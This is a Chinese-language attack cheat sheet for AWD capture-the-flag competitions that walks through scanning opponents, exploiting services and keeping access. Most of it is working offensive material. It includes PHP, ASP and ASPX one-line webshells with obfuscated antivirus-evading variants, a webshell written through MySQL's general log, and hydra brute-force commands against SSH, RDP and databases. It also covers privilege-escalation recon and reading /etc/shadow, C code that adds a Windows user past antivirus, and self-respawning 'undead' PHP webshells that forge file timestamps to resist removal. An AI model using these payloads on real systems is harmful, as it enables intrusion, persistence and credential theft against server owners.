AWD 攻击技巧
前期准备
信息搜集
扫描对手 ip 地址
要使用nmap扫描形式为192-168-1-X.pvp3901.bugku.cn
的地址,其中X为一个数字,您可以使用以下命令:
nmap -p 80 192-168-1-{1..255}.pvp3901.bugku.cn
扫描对手服务端口
nmap -sV 域名
nmap -sS 域名 # 半开探测
nmap -sP 域名 # 忽略ping不通
使用-p
参数指定端口范围,或者使用-A
参数进行更深入的检测。
Python 扫描
import requests
for x in range(2,255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
except:
pass
外部打点
常见系统漏洞
- MS17-010(永恒之蓝,可看https://blog.zgsec.cn/archives/172.html)
- MySQL进行UDF提权(SQL注入或者MySQL弱口令)
- MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令)
- SSH弱口令或默认口令
- PWN(这个要看具体AWD比赛提供的内容了)
中间件漏洞
- IIS(解析漏洞、远程代码执行)
- Apache(解析漏洞)
- Nginx(解析漏洞)
- Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)
- Mysql(弱口令)
- Tomcat(弱口令Getshell)
- Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)
- SpringBoot(未授权访问漏洞和RCE漏洞,具体可看https://blog.zgsec.cn/archives/129.html)
集成服务环境漏洞
- wampserver
- xamppserver
CMS漏洞利用
搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:
- Aspcms
- Dedecms
- Dicuz
- Drupal
- Empirecms
- Eshop
- Finecms
- Joomla
- Lamp
- Metainfo
- Phpcms
- Phpwind
- Qibocms
- Seacms
- Semcms
- ThinkPHP
- Wolfcms
- Wordpress
- Zabbix
备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破
WebShell
常见一句话木马
PHP: <?php @eval($_POST['pass']);?> <?php eval($_GET['pass']);
Asp: <%eval request ("pass")%>
Aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
Get型木马
<?php eval($_GET['pass']); //利用方式/shell.php?pass=eval($_POST[1]);
免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]); //执行GET传参 ?_=system&__=whoami 来执行whoami命令
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]); //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell
隐藏的文件读取
<?php
header(php'flag:'.file_get_contents('/flag'));
条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现
Python多端口传参
#coding=utf-8
import requests
url_head="http://192.168.182.130" #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass" #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"
#清空上次记录
flag=open("flag.txt","w")
flag.close()
flag=open("flag.txt","a")
for i in range(8000,8004):
url=url_head+":"+str(i)+shell_addr
try:
res=requests.post(url,payload)#,timeout=1
if res.status_code == requests.codes.ok:
result = res.text
print (result)
flag.write(result+"\n")
else:
print ("shell 404")
except:
print (url+" connect shell fail")
flag.close()
MySQL数据库利用
具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html
1、查看MySQL版本
show variables like '%version%';
select version(); #这个只显示MySQL版本号
2、查看 load_file()
开启状态
show variables like '%secure%'; #这条可查看详细信息
show global variables like '%secure_file_priv%';
3、查看日志功能是否开启和对应目录
SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑
# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现
小技巧:获取MySQL账户和对应密码Hash
# MySQL <= 5.6 版本
select host, user, password from mysql.user;
# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;
弱口令爆破
爆破SSH密码
hydra -l root -P 密码字典.txt 目标IP地址 ssh
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40 //40是⽬标服务开放的端⼝
爆破FTP密码
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/
爆破RDP远程桌面密码
hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V
爆破Telnet
hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V
爆破MSSQL数据库
hydra -l sa -P 密码字典.txt 目标IP地址 mssql
爆破MySQL数据库
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql
内网渗透
关键文件检索
组件检索
find / -name "apaech2.conf" //检索Apache主配置文件
find / -name "nginx.conf" //检索Nginx目录
find / -path "*nginx*" -name nginx*conf //检索Nginx配置目录
find / -name "httpd.conf" //检索Apache目录
find / -path "*apache*" -name apache*conf //检索Apache配置目录
网站首页
find / -name "index.php" //定位网站目录
find / -name "index.html" //定位网站目录
日志文件检索
/var/log/nginx/ //默认Nginx日志目录
/var/log/apache/ //默认Apache日志目录
/var/log/apache2/ //默认Apache日志目录
/usr/local/tomcat/logs //Tomcat日志目录
tail -f xxx.log //实时刷新滚动日志文件
Linux 提权
查询系统版本信息命令:
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
查询内核版本信息命令:
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
查看系统环境变量命令:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
查看语言环境信息命令:
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set
查看文件上传环境信息命令:
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
查看自己权限:
sudo -l
这里列举一些可用利用的提权漏洞:
- CVE-2023-0386(Linux OverlayFS权限提升漏洞)
- CVE-2021-4034(Linux Polkit本地权限提升漏洞)
- CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )
- CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
- CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
- CVE-2017-1000367(sudo本地提权漏洞 )
- CVE-2016-1247(Nginx权限提升漏洞)
- CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)
Kali命令查询:
searchsploit CentOS 7
searchsploit Ubuntu 16.04
提权Exploit寻找:
- http://www.exploit-db.com
- http://metasploit.com/modules/
- http://securityreason.com
- http://seclists.org/fulldisclosure/
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main
编译提权Exp
gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall
直接提权,确认权限:
cat /etc/shadow
其他提权姿势:https://www.freebuf.com/articles/system/244627.html
Windows提权
这里列举一些Windows的漏洞:
- 各种Potato(Github上面基本都有)
- CVE-2023-35359(Windows内核权限提升漏洞,开源了)
- CVE-2022-24521(没有Exp的可以找我要)
- CVE-2019-1405
- CVE-2019-1322
- MS17-017(整型溢出漏洞)
绕过杀软使用netuser
火绒
copy C:\Windows\System32\net1.exe C:\phpStudy\PHPTutorial\WWW\
C:\phpStudy\PHPTutorial\WWW\net1.exe user idss 111111111
360
#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int wmain(int argc, wchar_t* argv[])
{
const wchar_t* username = L"bin123"; // username
const wchar_t* password = L"Abc123123"; // password
// 定义并初始化 USER_INFO_1 结构体,用于保存新用户的信息
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = (wchar_t*)username; //设置用户名
ui.usri1_password = (wchar_t*)password;//设置密码
ui.usri1_priv = USER_PRIV_USER; //设置用户权限为普通用户
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//调用Windows API函数NetuserAdd来添加新用户
if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
printf("add user success\n");
}
else
{
printf("add user fail\n");
}
return 0;
}
生成解决方案后运行,可以直接绕过360新建用户
优势保持
不死🐎
普通
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="3a50065e1709acc47ba0c9238294364f"){@eval($_POST[a]);} ?>';
//pass=Sn3rtf4ck 马儿用法:fuckyou.php?pass=Sn3rtf4ck&a=command
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>'); //创建shell.php
sleep(0); //间隔时间
}
可以通过不断复写 shell.php
来达到该木马难以被使用的效果
防连接不死马
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); //
while(1)
{
file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'); //创建shell.php
sleep(0);
}
//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');
进阶不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 09:10:12" shell.php'); //修改时间,防止被删
usleep(5000);
}
?>
//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php
的WebShell文件
双重不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 18:10:12" .login.php');
file_put_contents($file1,$code);
system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
usleep(5000);
}
?>
//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');
浏览器访问写入的WebShell,会自动生成两个不死马: .login.php
和 /admin/.register.php